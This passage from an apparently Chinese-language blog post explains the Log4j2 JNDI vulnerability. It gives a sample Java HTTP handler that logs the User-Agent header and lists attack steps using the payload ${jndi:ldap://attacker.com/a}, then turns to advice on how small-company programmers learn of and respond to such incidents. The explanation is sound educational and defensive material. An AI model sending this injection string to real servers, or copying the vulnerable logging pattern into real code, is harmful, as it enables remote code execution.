import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
- 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录;
*/
public void handle(HttpExchange he) throws IOException {
// 获取user-agent信息
String userAgent = he.getRequestHeader(“user-agent”);
// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。
// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}
log.info(“Request User Agent:” + userAgent);
String response = "
Hello There, " + userAgent + “!
”;he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
基于上述代码的基本攻击步骤:
-
请求对应的HTTP端点(或接口),在请求信息中携带攻击代码(比如,在user-agent中携带${jndi:ldap://attacker.com/a});
-
服务器在通过Log4j2执行日志记录时,记录中包含了基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a}
,其中attacker.com
是攻击者控制的地址。 -
记录日志操作触发向攻击者控制的地址发送请求。
-
对应请求返回在响应中返回可执行的恶意代码,注入到服务器进程当中。比如返回
-
进而执行脚本控制服务器。
腾讯安全专家的复现如下:
小公司程序员能做些什么?
关于漏洞及解决方案,上面已经详细聊了,问题基本得以解决。在大的互联网企业,是有专门的安全运维部门来监控、扫描这些漏洞的。但在小公司,很显然没有这样的条件。
那么,我们该怎么办?同时,作为事件的经历者,你是否思考过这个事件中反映出的一些其他问题吗?
第一,是否第一时间得到消息?
在大企业,一旦发现这样的漏洞,安全部门会第一时间进行通知。但在小企业,没有安全部门,你是如何获取到漏洞的消息的呢?
比如我所在的企业,是没有安全部门的,但也几乎是第一时间得知漏洞消息,进行系统排查的。
作为程序员,如果漏洞消息已经爆出很久,你却一无所知,那就应该反思一下朋友圈的质量以及对技术热点的关注度问题了。
如何获得圈内第一手消息,取决于也反映着你在社交圈或技术圈所处的位置与现状。
第二,是否置若罔闻?
很多朋友可能也看到了这则漏洞消息,但也就是看一下热闹,然后该干嘛干嘛了,系统有漏洞就有漏洞了呗~
如果你是如此,或你的团队是如此,你真的需要反省一下职业素养问题了。
很多人可能觉得自己很牛,觉得自己怀才不遇,觉得工资收入低,觉得被亏待……那么,对照一下对这件事所作出的反应,基本就知道自己是不是被亏待了。
第三,如何应对突发事件?
这样的突发事件,也是对系统运维、团队管理的一个考验,也是一个仿真练习:大家都正在进行着当前业务的开发,有一个突发Bug要修改,改一半的代码如何操作?如大面积发布?
第一,改一半的代码怎么办?如果你的团队的代码开发都是基于master(主干)进行开发、提交代码,针对这样的突发事件,必然会面对改了一半的代码,提交了,想一起发布但还没测试,这种骑虎难下的局面。